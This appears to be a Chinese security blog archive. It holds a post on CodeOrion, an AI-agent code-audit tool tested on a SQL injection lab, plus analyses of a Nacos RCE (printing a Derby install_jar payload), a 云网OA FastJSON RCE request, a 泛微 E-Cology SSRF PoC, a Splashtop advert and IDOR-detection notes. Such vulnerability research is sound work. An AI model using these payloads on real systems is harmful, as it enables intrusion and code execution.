这个机制的目的很简单：减少 LLM 幻觉，让每个 finding 都能回溯到 evidence。

5、PoC 和验证

传统 SAST 的输出经常停在“疑似”。但在真实安全审计里，我更希望尽量走到“可复现”。

codeorion-agent 的 finding schema（风险结论结构）要求提供原始 HTTP 请求，并可以解析成 VerificationPoc。开启验证后，可以通过验证子 Agent、sandbox_http、sandbox_exec 进行 PoC 验证。

这一步并不保证所有漏洞都能自动验证，但它把审计从“静态判断”推进到了“验证优先”。

6、覆盖检查

Agent 很容易偷懒。比如找到一个明显 sink 后就结束，或者只看 Controller，不看依赖和配置。

所以 codeorion-agent 里有覆盖检查。它要求报告前必须覆盖入口追踪、横向检查、依赖反向追溯等内容，避免审计过程过早收敛。

这对真实审计很重要。因为漏洞不一定藏在最显眼的地方，很多关键风险来自鉴权遗漏、配置错误、二次注入、组件组合和业务状态机。

九、真实靶场验证：从审计到自动化 PoC

除了设计上的闭环，我还在 java-sec-code 靶场上跑过多轮真实验证。这个靶场里保留了完整的 run 产物，包括：

events.jsonl
tool_trace.jsonl
findings.jsonl
evidence/ev-*.json
evidence/ver-*.json
subagents/agent-*.jsonl
report/report.md
report/report.json

这些产物能说明一件事：codeorion-agent 不是只输出静态结论，而是会把“审计过程”和“验证过程”都落盘。

1、一次 SQL 注入审计的完整产物

在 java-sec-code 的一次 SQL 注入审计 run 中，最终报告发现了 5 个 SQL 注入问题：

序号	端点	类型	验证状态
1	`/sqli/jdbc/vuln`	JDBC Statement 拼接 SQL	confirmed_by_pattern
2	`/sqli/jdbc/ps/vuln`	PreparedStatement 误用，拼接后再 prepareStatement	confirmed_by_pattern
3	`/sqli/mybatis/vuln01`	MyBatis 注解 `${username}` 直接替换	confirmed
4	`/sqli/mybatis/vuln02`	MyBatis XML LIKE `${_parameter}` 直接替换	confirmed
5	`/sqli/mybatis/orderby/vuln03`	MyBatis XML ORDER BY `${order}` 直接替换	confirmed

这里最有意思的不是“发现了 5 个漏洞”，而是每条风险结论都带着审计证据和验证证据。

以 /sqli/jdbc/ps/vuln 为例，它看起来用了 PreparedStatement，但漏洞点在于 SQL 字符串已经提前拼接了用户输入：

String sql = "select * from users where username = '" + username + "'";
PreparedStatement st = con.prepareStatement(sql);

这类问题很容易骗过只做关键字判断的工具：它看到 PreparedStatement 可能会误以为是安全写法。但 Agent 会继续检查 SQL 模板生成位置，发现用户输入在 prepareStatement() 之前已经进入 SQL 字符串。

审计链路可以抽象成：

真实靶场并不是裸接口。很多端点访问前会跳转登录页，需要先拿 CSRF token，再登录，再带 Cookie 访问漏洞接口。

在 run 的 subagent 记录里，verify 子 Agent 做了这样的事情：

访问 /login 获取登录页
从页面中提取 _csrf
使用测试账号提交登录表单
保存 Cookie
携带 Cookie 请求漏洞接口
构造注入 payload
把响应摘要和 PoC 写入 ver-*.json

可以抽象成：

这一步非常贴近真实审计。很多扫描器能识别代码里的危险操作，但很少会继续自动完成登录、维护 Cookie、处理 CSRF，然后在靶场里发 PoC。

不过这类验证能力也有明确边界。它优先适用于靶场、测试环境和授权环境。真实业务系统中，SSO、MFA、验证码、权限分层、业务状态、异步任务、MQ、外部回连、对象存储、内网访问和 destructive payload 都可能让自动验证失败，或者需要人工提供上下文和安全边界。

场景	对 Agent 验证的影响
SSO / MFA / 验证码	很难完全自动登录，需要人工提供会话或测试账号
权限分层	普通账号可达不代表高权限接口可验证
状态型漏洞	需要构造订单、审批、库存、任务等业务状态
异步任务 / MQ	HTTP 返回不一定能直接观察最终影响
生产环境	不能随意发送破坏性 payload
外部依赖	DNS、对象存储、回连、内网访问可能被网络策略限制

3、动态验证不只是“请求成功”，而是要解释结果

在这个靶场里，不同漏洞的验证结果也不一样。

MyBatis ${} 注入比较容易验证，因为错误回显里直接暴露了最终 SQL。例如 /sqli/mybatis/vuln01 的注入 payload 进入后，响应中能看到类似：

SQL: select * from users where username = 'joychou' or '1'='1'

这说明 ${username} 不是参数化绑定，而是字面量替换，payload 已经进入 SQL 语句。

/sqli/mybatis/orderby/vuln03 也能通过 ORDER BY 注入验证：

SQL: select * from users order by id desc-- asc

这里 -- 注释截断了后面拼接的 asc，说明 sort 参数直接进入了 ORDER BY 子句。

但 JDBC PreparedStatement 误用那条比较有意思：靶场数据库环境没有返回有效数据，接口多次请求都是 HTTP 200 且响应体为空。这个时候 Agent 没有强行写“动态利用成功”，而是把状态记录成 confirmed_by_pattern：

请求成功返回 200。源码确认 username 参数直接拼接到 SQL 中，然后传给 prepareStatement，参数化完全失效。沙箱环境 MySQL 可能未启动或无数据，导致结果集为空，但代码漏洞模式清晰可见。

这点很重要。自动化验证不应该为了“看起来成功”而夸大结果。能动态确认的写 confirmed；环境限制导致无法完整回显，但源码和路径证据确凿的，写 confirmed_by_pattern；证据不足的，应该写 needs_review。

4、CodeOrion 的结果不是一段文字

一次审计最终会留下多层产物：

这和传统扫描器的一次性告警列表不一样。CodeOrion + codeorion-agent 输出的是一组可以复核的审计资产：

我为什么认为这个入口可疑
我调用了哪些 MCP 工具
我读了哪些源码和图谱事实
我登记了哪些证据
我构造了什么 PoC
沙箱返回了什么
最终结论为什么是 confirmed、confirmed_by_pattern 或 needs_review

这也是我希望它最终开源后能被持续改进的地方：每一次审计不是一个黑盒结论，而是一条可复盘、可调试、可改进的链路。

十、和传统 SAST 的区别

我不会说 CodeOrion 要替代 CodeQL、Semgrep、Joern 或成熟 SAST。传统 SAST 的规则、数据流、污点分析仍然非常重要。CodeOrion 更像是把这些结构事实变成 Agent 可以消费、追问和验证的审计底座。

传统 SAST 痛点	CodeOrion + codeorion-agent 的处理方式
依赖硬编码规则，规则维护成本高	CodeOrion 输出结构事实，Agent 按 Skill 和上下文动态组合查询
命中 source / sink 后误报多	Agent 继续区分调用链可达、数据流可达、sanitizer、鉴权、配置和利用条件
很难深入第三方组件内部	`trace_dependency_calls` 建模项目代码到依赖方法、依赖内部方法的路径
对业务逻辑漏洞覆盖弱	Agent 可以结合代码图和上下文推理 IDOR、越权、认证绕过等逻辑问题
报告缺少可复核证据	`register_evidence` 和 `emit_finding` 强制 evidence_refs
大仓库直接读源码成本高	先用 MCP 查询结构化图谱，再按需读源码补证
finding 难复现	支持 raw request、verify 子 Agent、sandbox PoC
一次性扫描不可持续	保留 transcript、tool_trace、checkpoint、findings、report，支持 resume/finalize

这个方向和行业趋势是一致的。Semgrep Multimodal 已经开始把 AI 用于复杂业务逻辑漏洞、自动研判、噪声过滤和修复建议。我的思路更进一步：不是先让规则扫描器吐告警，再让 AI 解释告警；而是从一开始就让 Agent 围绕代码图探索、取证和验证。

十一、一个更接近真实审计的例子

传统扫描器可能给出这样的结果：

发现危险函数 eval
发现用户输入 request.body
疑似 RCE

但我更希望 CodeOrion + codeorion-agent 输出的是一条证据链：

POST /api/render
  -> RenderController.render
  -> TemplateService.compile
  -> ThirdPartyTemplateEngine.evaluate
  -> dependency_method: evaluateExpression
  -> 危险操作: expression execution

证据：
  ev-1: 入口追踪
  ev-2: dependency call trace
  ev-3: sanitizer 检查
  ev-4: raw request / PoC

前者是“像漏洞”，后者是“为什么这条链成立”。

这就是我认为 Agentic 代码审计（Agent 辅助代码审计）最重要的变化：从规则命中走向证据链推理。

十二、当前边界

开源项目必须讲清楚当前边界。

CodeOrion 当前已经具备稳定的 Tree-sitter CST 图、统一 IR、SQLite 存储、框架端点提取、依赖节点和跨边界追踪能力。符号表、CallGraph、DFG、CFG 等模块已经具备模型和查询入口，但完整语义图落库、跨语言精确数据流、复杂别名分析、框架深度建模仍然是后续增强方向。

也就是说，CodeOrion 当前最强的落地点不是“完整 CPG 实现”，也不是“完整替代传统 SAST 规则引擎”，而是把多语言源码解析结果、框架入口、依赖边界和查询工具统一成 Agent 可反复检索、扩展和取证的代码图底座。

后续我会继续强化：

更完整的语义边落库
更精确的跨文件符号解析
更强的框架和依赖注入建模
更完整的输入来源、危险操作、过滤逻辑候选生成
更好的组件内部调用链展开
更低成本的增量扫描
更适合安全审计的 Agent 证据视图

十三、结语

我对 CodeOrion 的定位很清楚：它不是传统 SAST 的简单替代品，也不是声称 LLM 可以直接完成白盒审计，而是一个面向 Agent 的代码图审计底座。

CodeOrion 负责把代码结构化，codeorion-agent 负责把结构事实变成审计行动。前者提供可查询的图，后者提供方法论、推理、证据、验证和报告。

组合起来之后，白盒审计不再只是“规则扫描”，而是变成一条可以追问、可以复核、可以验证的证据链。

CodeOrion 目前只是我个人的开源实验项目，并不是成熟的商业 SAST 产品。它的目标不是替代 CodeQL、Semgrep、Joern 这类成熟工具，而是探索一种更适合 AI Agent 使用的代码审计底座：先把代码结构化成可查询的事实，再让 Agent 围绕入口、调用链、依赖路径、证据和验证结果完成审计推理。

这个项目的大部分工程实现都有 AI 辅助参与，我主要负责整体思路、审计方法、功能设计和结果验证。也正因为如此，CodeOrion 还有很多不完整、不精确、不稳定的地方，但它代表的是一个我想持续验证的方向：让代码审计从“规则命中”进一步走向“证据链推理”。

十四、参考资料

Joern Code Property Graph: https://docs.joern.io/code-property-graph/
CodeQL About data flow analysis: https://codeql.github.com/docs/writing-codeql-queries/about-data-flow-analysis/
Semgrep Taint analysis overview: https://docs.semgrep.dev/writing-rules/data-flow/taint-mode/overview
OWASP Top 10:2021 A06 Vulnerable and Outdated Components: https://owasp.org/Top10/2021/A06_2021-Vulnerable_and_Outdated_Components/
YASA: Scalable Multi-Language Taint Analysis on the Unified AST at Ant Group: https://arxiv.org/abs/2601.17390
TraceLens: Question-Driven Debugging for Taint Flow Understanding: https://arxiv.org/abs/2508.07198
QASecClaw: A Multi-Agent LLM Approach for False Positive Reduction in Static Application Security Testing: https://arxiv.org/abs/2605.01885
SastBench: A Benchmark for Testing Agentic SAST Triage: https://arxiv.org/abs/2601.02941
On the Security Blind Spots of Software Composition Analysis: https://arxiv.org/abs/2306.05534
Hidden Dependencies and Component Variants in SBOM-Based Software Composition Analysis: https://arxiv.org/abs/2604.21278

Nacos RCE漏洞分析

Fri, 19 Jul 2024 14:35:00 +0800

漏洞简介

Nacos 是一个开源的、易于使用的动态服务发现、配置和服务管理平台，用于构建云原生应用。它提供了一套简单易用的特性集，用于服务发现和服务健康监测，以及动态配置服务、服务元数据和流量管理。

漏洞描述

RCE（Remote Code Execution，远程代码执行）漏洞是指攻击者能够在远程服务器上执行任意代码的安全漏洞。此类漏洞通常会让攻击者完全控制受影响的系统，导致严重的安全问题。

影响范围

Alibaba-Nacos:version<=2.3.2受影晌。

漏洞复现

用Github公开的exp可以复现该漏洞。

漏洞分析

从exp可以看出来，本次漏洞涉及2个接口

/nacos/v1/cs/ops/derby
/nacos/v1/cs/ops/data/removal

这里是存在2个漏洞，1个是SQL注入，1个是文件上传，也就是条件竞争。
由于Nacos默认部署是没有鉴权的，在未配置的情况下，这里也可以未授权。

SQL注入漏洞来源于：https://github.com/alibaba/nacos/issues/10613

这里主要比较有意思的是这个文件上传的过程

核心在com.alibaba.nacos.core.utils.WebUtils#onFileUpload，这里在创建文件之后

会调用Consumer.accept，发布一个处理逻辑，表示文件处理开始。

随后在dataImport中，针对file对象里面的内容进行遍历，随后执行SQL。

核心的逻辑就在这，
前面的模型是，生产者，和消费者，那么Consumer这个消费者，执行前是同步的，但是在调用文件处理的时候，调用了一个异步处理，但是又没有等待异步处理完毕，然后就执行了finally里面的删除DiskUtils.deleteQuietly(tmpFile);删除了临时文件，这就导致了会发生在处理时找不到文件的问题。
例如下面这张图这样。

那么只要让这里执行阻塞就可以了，通过大量的上传，让这里阻塞，就能够让异步执行的时候，有几率找到恶意的文件，然后进行SQLBatch导入。

com.alibaba.nacos.core.persistence.DistributedDatabaseOperateImpl#dataImport 主要是把文件内容拿出来然后执行batchSQL

比如，成功的情况下，就会把SQL取出来，加入到batchSQL中

随后通过doDataImport导入

所以漏洞原理可以概括为：有这样一个功能，初衷是希望用户能够上传文件，且文件被异步的处理（我个人认为这里功能也有bug，因为就算正常用户去上传，也会执行finally导致文件删除，文件上传失败），通过条件竞争的方式，大量上传请求，导致这里阻塞，生产者创建了文件，但是还没来得及删，异步开始处理，导致把恶意的derby sql导入了数据库，导致了UDF问题。

疑问解答

1、为什么可以UDF
我影响中，默认部署，想要利用MYSQL的UDF，好像不是一件简单的事情，需要有一些配置条件，在看到这个漏洞的时候可以UDF执行命令，这是让我比较疑惑的。
其实主要是因为，默认情况下，使用的是apache的derby数据库，这是一个Java写的数据库，
derby数据库是支持调用Java的方法的。

CALL SQLJ.INSTALL_JAR('file:///path/to/mypackage/MyFunctions.jar', 'APP.MyFunctionsJar', 0);

也就是poc中的这一段

post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n  
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n  
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);

2、这个漏洞是怎么来的？
利用条件竞争实现UDF的导入创建，随后利用一个以往发现的功能去执行SQL，导致了RCE。

漏洞排查

1、影响版本
Alibaba-Nacos:version<=2.3.2受影晌。

云网OA8.0 updateUiSetup接口存在未授权FastJSON RCE

Fri, 12 Jul 2024 10:22:47 +0800

云网OA8.0 updateUiSetup接口存在未授权FastJSON RCE

基本信息

Gitee地址：https://gitee.com/bestfeng/oa_git_free
部署文档：http://partner.yimihome.com/static/index.html#/index/idea_deploy8

功能点

src/main/java/com/cloudweb/oa/controller/ApplicationController.java

低版本FastJSON

为什么会存在未授权，因为Filter的配置，这个oa，对于filter chain有点多，有基于spring security，也有原生的Dofilter，感觉偶尔的Chain会乱

这里不登录也是可以访问的

漏洞复现

POST /oa/setup/updateUiSetup?applicationCode=1&uiSetup=payloadHTTP/1.1
Host: 127.0.0.1:8880
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Priority: u=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 18
cmd:whoami

泛微E-Cology9 getFileViewUrl SSRF漏洞分析

Thu, 11 Jul 2024 11:40:39 +0800

漏洞描述

泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。泛微E-Cology getFileViewUrl 接口处存在服务器请求伪造漏洞，未经身份验证的远程攻击者利用此漏洞扫描服务器所在的内网或本地端口，获取服务的banner信息，窥探网络结构，甚至对内网或本地运行的应用程序发起攻击，获取服务器内部敏感配置，造成信息泄露。

影响泛微

上海泛微网络科技股份有限公司-泛微协同管理应用平台 E-cology9
- 已复现版本： 2303.02

漏洞复现

poc

{"file_id":"1",
"file_name":"1",
"download_url":"xxxx poc url",
"client_type":"1",
"isCopy":"1",
"user_id":"1"}

POST /api/doc/mobile/fileview/getFileViewUrl HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: 
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Origin:
Connection: keep-alive
Cookie: 
Priority: u=4
Content-Length: 135

{"file_id":"1",
"file_name":"1",
"download_url":"xxxx",
"client_type":"1",
"isCopy":"1",
"user_id":"1"}

漏洞分析

com.api.doc.mobile.fileview.web.FileViewAction#getFileViewUrl

把JSON转为Map后，给到Execute
com.api.doc.mobile.fileview.cmd.FileViewCmd#execute

其中获取的DownloadUrl，就直接通过Map获取，给到null2String3
下面主要是判断Prop下的一些配置

需要满足第一个if，需要配置中的数字为1

我这边都没有配置，所以会走下面的else，不管这里走哪个分支，都可以到对应的Sink，造成SSRF

s3这个参数是我们的可控污点。
com.api.doc.mobile.fileview.cmd.FileViewCmd#getSocialFileViewUrlForYz(java.lang.String, java.lang.String, java.lang.String, int, java.util.Map<java.lang.String,java.lang.String>)

0，1，参数不为空的情况下，则会进入这里的流程。
com.api.doc.detail.util.ImageConvertUtil#doConvertForSocial(java.lang.String, java.lang.String, int, java.util.Map<java.lang.String,java.lang.String>)

我们进入com.api.doc.detail.util.ImageConvertUtil#doConvert

在这里获取了map中的filedownloadUrl，并调用com.api.doc.detail.util.ImageConvertUtil#downloadUrl

如果上述配置是1的情况下
在com.api.doc.mobile.fileview.cmd.FileViewCmd#execute进入

调用链路可能就短一点了。

修复方案

1、升级泛微版本

"限时福利：Splashtop 免费送一年高级远程支持服务，价值990元"

Mon, 08 Jul 2024 23:02:34 +0800

我在22年记得发过一篇文章：ipad远程MacBookPro远程办公的终极解决方案，在文章中我大致对比了不同远程软件在Ipad远程MacBookPro时，是否能够完全支持触控板，秒控键盘之间的支持与兼容。

在当时Splashtop这款远程软件，无疑是在此场景下最适配与兼容最完美的软件，现在也是24年了，陆陆续续我也用了这款软件2年了，目前来看，相较于Todesk，向日葵，M1 Mac的客户端总是闪退错误，Splashtop在Mac和Windows相互远程上，确实做到的最好的兼容性。

现在Splashtop这款远程软件现在免费赠送一年专业商业远程支持软件「Splashtop SOS」，价值990元！没有套路，没有任何前置条件，直接送！

领取方式：微信搜索「splashtopcn」，关注「Splashtop服务号」，回复「免费SOS+账户」，Splashtop 就会送你一年 SOS 软件。

还没注册账户的，访问官网 https://my.splashtop.com/signup 可以快速注册。

Splashtop SOS 无需安装，即下即用，通过一个9位连接码即可快速连接远端设备。

作为一款商业版远程支持软件，Splashtop SOS 拥有如下专业功能，你可以在使用过程中继续探索。

Splashtop 更多商业版软件

除了 SOS，针对不同应用场景，Splashtop 还有几款强大的商业版远程软件。

Splashtop Business Access

一款高性能远程桌面控制软件，适合需要长期稳定远程连接的公司或个人使用。

Splashtop Business Access 属于无人值守的远程控制软件，一般用来远程操控自己的设备，适合远程办公等场合。Splashtop SOS 属于有人值守的远程支持软件，一般用于远程支持和协助他人，被控端有人值守。这是两者的区别。

Splashtop Enterprise

为大型企业的 IT 运维、托管服务供应商（MSP）提供远程运维能力。在提供远程桌面访问能力之外，也包含终端管理能力，例如操作系统更新管理、系统安全管理、系统日志汇总、资产管理等功能。

Splashtop On-Prem

Splashtop On-Prem 是 Splashtop Enterprise 的本地部署版本，可以完全自托管在企业网络内部，提供集中式数据库和网页管理控制台。通过本地化部署，企业可以将 Splashtop On-Prem 部署在企业内部或云平台上，所有用户数据都保留在企业内部。

如有需要，可以访问官网「splashtop.cn」了解和免费体验上述产品。

Splashtop 软件特性

1、高性能高画质

Splashtop 一直以高性能赢得客户口碑，支持 4K 分辨率、60 FPS 帧率，延迟很低，可以带来媲美真机的沉浸式远程访问体验。特别适合需要高分辨率图形和流畅画面的行业，比如影视、动画和建筑设计。

2、全平台支持

Splashtop 拥有广泛的设备支持，你几乎可以使用任意智能设备进行远程连接，支持 Windows、Mac、Linux、iOS、Android 等主流平台。

3、安全可靠

Splashtop 一直投入大量技术资源来提高软件安全性，提供了包括：双因素认证、黑屏、空闲会话超时、远程连接通知、会话审计记录等众多安全功能。软件至今已安全运行 19 年，从未爆出安全漏洞。

Splashtop 始终将软件安全和用户隐私放在首位，所有的远程会话均受 TLS 和 256 位 AES 加密技术保护。软件符合 GDPR、SOC2、FERPA 等主要的安全合规性要求，能够保护所有用户信息安全并保持数据的机密性、完整性和可用性。

4、功能全面

Splashtop 软件具备完善的专业功能，如文件传输、远程打印，团队管理、多显示器支持、聊天、共享屏幕、远程重启、会话录制等，全方位满足你的功能需求。还有更专业的远程触控笔、USB 设备重定向、麦克风直通、超高质量音频、4:4:4 色彩等功能，尤其适合建筑、设计、影视后期等行业。

Splashtop 简介

Splashtop Inc. 成立于 2006 年，总部位于硅谷，在杭州、台北、东京、新加坡、阿姆斯特丹等地设有分支机构。

19 年来，Splashtop 产品一直安全稳定运营，以良好的产品和服务受到全球 3000 万用户、25万企业的信赖，包括 85% 的世界 500 强企业。2024 年，Splashtop 公司以 71 亿人民币的企业估值入选《2024·胡润全球独角兽榜》。

未授权与垂直/水平越权(IDOR)检测实现方案

Fri, 13 Oct 2023 14:06:01 +0800

未授权与垂直/水平越权(IDOR)检测实现方案

TODO

1、去重通过接口进行去重

防止水平越权时参数不一致导致的同一个URL重复问题

2、黑名单配置

让用户选择可以配置黑名单来禁止检测指定URL

3、白名单配置

让用户选择可以配置白名单来检测指定URL
检测host白名单配置，可以通过通配符的方式来匹配指定域名

4、多任务

如果同时存在多个任务如何处理，来区分不同任务所对应的cookie以及域名

越权(IDOR)

1、越权漏洞与逻辑漏洞的边界

一直以来，非安全人员甚至安全人员都难以区分越权和逻辑漏洞的差异在哪，什么可以认定为越权漏洞，什么可以认定为是逻辑漏洞，我这里举几个例子，来详细介绍，如何理解越权与逻辑漏洞。

1.1、首先什么是越权漏洞

目前越权分为两种类型

水平越权
垂直越权

1.2、什么是垂直越权

其中垂直越权可以理解为，正常的业务流程是一个管理员拥有后台管理的所有权限，在这个后台中有用户鉴权体系，可以新增其他角色/权限的账号登录后台，分配对应的权限则拥有对应接口与页面的访问权限。

例如后台功能如下

商户管理
订单管理
用户管理
日志审计

如果此时新建一个普通用户账号，只分配1个日志审计功能

账号：test

那么从业务角度上来说当前test用户就只能拥有日志审计查看的权限，但是在大量的企业研发的案例中会发现，内部对于权限梳理上并没有做的非常细致，这就导致了，可能商户管理的某个接口，可以让test用户访问到，此时就造成了垂直越权。

1.3、什么是水平越权

水平越权的理解上也比较容易，水平从字面理解是一个平面，水平线，那么代入到权限中是A与B用户拥有同一个权限，例如一个商城，A是一个用户，B也是一个用户，A在网站上购买一个口罩，订单的ID为：1（如果订单ID是递增的方式的话），那么B在网站上也购买一个口罩，订单ID为：2，那么此时如果B想通过查询订单的接口，试试把ID：2改为ID：1，是否可以查询到A账号的订单信息呢？

如果此时查询成功，则代表，存在水平越权的漏洞。

订单增删改查
地址增删改查
发票增删改查
等……

从这张图上可以看到，垂直越权是从下至上的漏洞方式，作为一个普通用户，我无法访问的数据，没有权限的数据，我可以通过查找JS，Fuzz参数等方式查询到该接口的数据，即可以认定为存在垂直越权漏洞。

那么水平越权则是从同一个权限获取到同一个权限的其他用户信息，则称为水平越权。

1.4、什么是逻辑漏洞

为什么我会认为逻辑漏洞可以与越权漏洞分开理解，原因如下：

首先举一个例子，来看一下什么是逻辑漏洞

以下取自火线众测后台漏洞案例

1.4.1、案例一

快手APP上有一个通讯录获取好友的功能，通过该功能可以获取手机通讯录中有多少个好友正在使用快手APP，可以直接查询到账号，那么我们换一个角度来想，如果使用生成器，生成很多的手机号码，放入到通讯录中，再打开快手的APP，那么是否就已经反向知道对应的快手账户的手机号码是多少了呢？

1.4.2、案例二

现在使用Keep购买一个健身用品，例如一个手环，需要支付200元，但是购买健身用品的同时会赠送一些赠品，例如赠送蜡烛，毛巾等，那么每一个商品都会存在SKUid，那么此时就可能会存在一个问题，我首先将手环加入到购物车，在购物车正常选择赠品，例如现在选择一个蜡烛，随后点击提交的时候，将蜡烛的SKUID替换为一个价值1000元的手表的SKUID，如果存在逻辑漏洞，是否就下单购买成功，只需要支付200元就可以获得1个手环和1个价值1000元的手表。

1.4.3、案例三

任意用户注册的逻辑场景，现在正常走注册的逻辑流程，输入账号，密码，手机号，但是我希望使用别人的手机号码进行注册，但是我又无法知道验证码是什么，那么此时提交错误的验证码，收到的返回肯定是验证码不正确，但是如果修改响应包呢？

例如上图，将success和code都修改成0和true，那么此时可能会跳过验证码校验，让前端的UI进入到下一步

那么此时设置登录的账号，昵称，设置密码，确认密码，点击下一步应该就是注册成功

随后发现账号是可以正常登录成功的，那么此时考虑一个问题，这里到底是手机验证码验证的接口出现了问题，还是注册接口出现了问题？

正常的业务逻辑

上面的这张图中间其实应该加一个校验，应该如下才是对的

这里其实会存在一个问题，那么也就是如果有人强制修改响应包来修改前端跳转的逻辑的话，如果没有做校验，也会存在问题，比如发送了验证码之后，我输入123456，随后修改这个请求的响应包，将返回的False修改为True，那么也能来到下面的注册逻辑

存在漏洞的业务逻辑

其实除了上述验证码爆破，修改响应包后走下一步逻辑并且注册接口并未校验验证码这两个问题之外，还有一个比较少见的逻辑问题

1、先正常走一遍业务登录注册逻辑

1、输入正确验证码
2、服务端校验后返回Token/成功的参数(遇到过输入正确验证码之后返回一段Token，并在注册的时候会带上这个token)，把这里的响应包复制下来（这里称为正确的响应包）

2、走恶意的业务登录注册逻辑

1、输入错误验证码
- 2、拦截响应包（这里的响应包称为错误的响应包)
  - 3、将正确业务逻辑的响应包的token或者整个正确的响应包替换这个错误的响应包
    - 4、随后继续走业务注册逻辑，也会注册成功

上述的这个逻辑问题，我认为本质就把这里的token当做一个令牌了，服务端不在乎是谁申请的这个令牌，只校验了谁有这个令牌，这个令牌是否有效，如果有效就通过即可，最终就会导致问题。
那么哈罗这里的根本原因是，/merchant/register/registerAccount这个接口未对验证码进行校验，

因为拿软件暴力破解举一个例子，在软件启动时会提示用户是否注册，如果没有就无法使用，那么可以直接将汇编代码中的JNZ等判断修改为强制的JMP，这样如果没有其他校验，就可以正常使用软件功能

这里的本质问题还是开发者无法防止用户去修改一些前端显示逻辑，但是可以在注册接口（也就是/merchant/register/registerAccount进行校验）这样哪怕用户强制修改前端逻辑，甚至在JS中fuzz或直接构造参数请求该接口，都会提示验证码错误，无法注册。

Tips: 这里需要注意的是，开发者不仅仅只是校验验证码是否有效，因为如果只校验验证码是否有效的话，那么我随便用一个手机号码发一个有效的验证码都可以使用，这样是不行的，应该还需要判断，该验证码是否属于该手机号码，并且是否有效（这里可能会说，例如腾讯百度这种用户基数特别大的，是否会出现验证码重复的概念呢？大概率是会的，不过验证码使用后失效即可）

2、垂直/水平越权漏洞产生的主要原因与场景

2.1、垂直/水平越权漏洞产生的主要原因

比较通用的说法

通常情况下，一个 Web 程序功能流程是登录 - 提交请求 - 验证权限 - 数据库查询 - 返回结果。如果验证权限不足，便会导致越权。常见的程序都会认为通过登录后即可验证用户的身份，从而不会做下一步验证，最后导致越权。

1、通过隐藏 URL

实现控制访问有些程序的管理员的管理页面只有管理员才显示，普通用户看不到，利用 URL 实现访问控制，但 URL 泄露或被恶意攻击者猜到后，这会导致越权攻击。

2、直接对象引用

这种通过修改一下参数就可以产生水平越权，例如查看用户信息页面 URL 后加上自己的 id 便可查看，当修改为他人的 ID 号时会返回他人的信息，便产生了水平越权。

3、多阶段功能

多阶段功能是一个功能有多个阶段的实现。例如修改密码，可能第一步是验证用户身份信息，号码验证码类的。当验证成功后，跳到第二步，输入新密码，很多程序会在这一步不再验证用户身份，导致恶意攻击者抓包直接修改参数值，导致可修改任意用户密码。

4、静态文件

很多网站的下载功能，一些被下载的静态文件，例如 pdf、word、xls 等，可能只有付费用户或会员可下载，但当这些文件的 URL 地址泄露后，导致任何人可下载，如果知道 URL 命名规则，则会便利服务器的收费文档进行批量下载。

5、平台配置错误

一些程序会通过控件来限制用户的访问，例如后台地址，普通用户不属于管理员组，则不能访问。但当配置平台或配置控件错误时，就会出现越权访问。

2.2、会有哪些场景？

2.2.1、垂直越权

垂直越权出现的位置，更多的在管理后台，并且管理后台有用户鉴权体系，特别是在同一个管理后台中还存在，商户，用户，管理员，多种用户的角色和关系，这类型的场景出现垂直越权的可能性是最大的。

2.2.2、水平越权

水平越权出现的位置相对来说比较普遍，例如一个商城，购物APP，发票网站等等，在订单，地址，发票，用户信息，收藏店家，删除订单等位置是最容易出现水平越权的地方，并且很多研发写代码比如一个订单号，是使用一个可递增遍历的数字来表示订单，例如订单ID为1,2,3,4,5以此类推，那么如果此时遍历这个订单ID，就有可能获取到其他用户的订单信息。

3、越权漏洞检测实现的难点

目前这个版本的越权和未授权检测是我重构之后的（代码工程能力不强），早些的一个版本也是使用mitmproxy来实现的HTTP/S的监听，但是发现，mitmproxy使用addons = [CaptureInfoWriteFile()]的方式来实现request和response有一个问题是会出现阻塞的情况，特别是越权需要去解析一个HTTP/S请求，然后替换token请求的，那么此时在替换token请求这一步操作上很容易发生阻塞的情况，导致正常的功能测试页面一直无法返回。

当前重构的版本，采用asyncio异步的方式来实现的异步，每一次都会新增一个异步线程任务，使用后会清除当前线程任务。

目前主要实现的难点有以下几项

1、垂直越权

垂直越权的实现相对简单很多，只需要将原始请求与修改后的请求的响应包进行差异值比较即可

但是也无法避免

如果接口对于用户鉴权体系来说是公共的如何识别？

2、水平越权

水平越权的实现相对就比较难，可以使用替换两个权限相同的token来进行差异值的比较，但是如果接口是

目前主要实现

1、如何解决参数识别问题（已解决）

RESFUL HTTP参数识别（已解决）
2、如何解决规则库，使用什么解决方法来让保证规则库的通用性和可扩展性
3、如何自动化识别不同的权限校验头（已解决）
4、如何解决参数加密场景的问题

6、是否要采用数据持久化方案使用sqlit or mysql or mongodb or redis
7、不同请求替换参数 Cookie后请求响应如何判断差异性，如余弦相似度判断，相似度应该控制在多少合适？是否有更好的算法解决该问题
8、自动化登录防止cookie失效

4、如何使用现有的方案来实现越权检测

4.1、余弦相似度判断差异性

5、实践落地

针对所有的场景包括代码的编写，都是针对真实场景进行编写，不涉及靶场。

5.1、拉卡拉

5.2、享道出行

5.3、字节SRC

5.4、自如

https://i0x0fy4ibf.feishu.cn/wiki/wikcnz28wEH6ifNAsD7CVSO0Atd

未授权访问

1、为什么会出现未授权

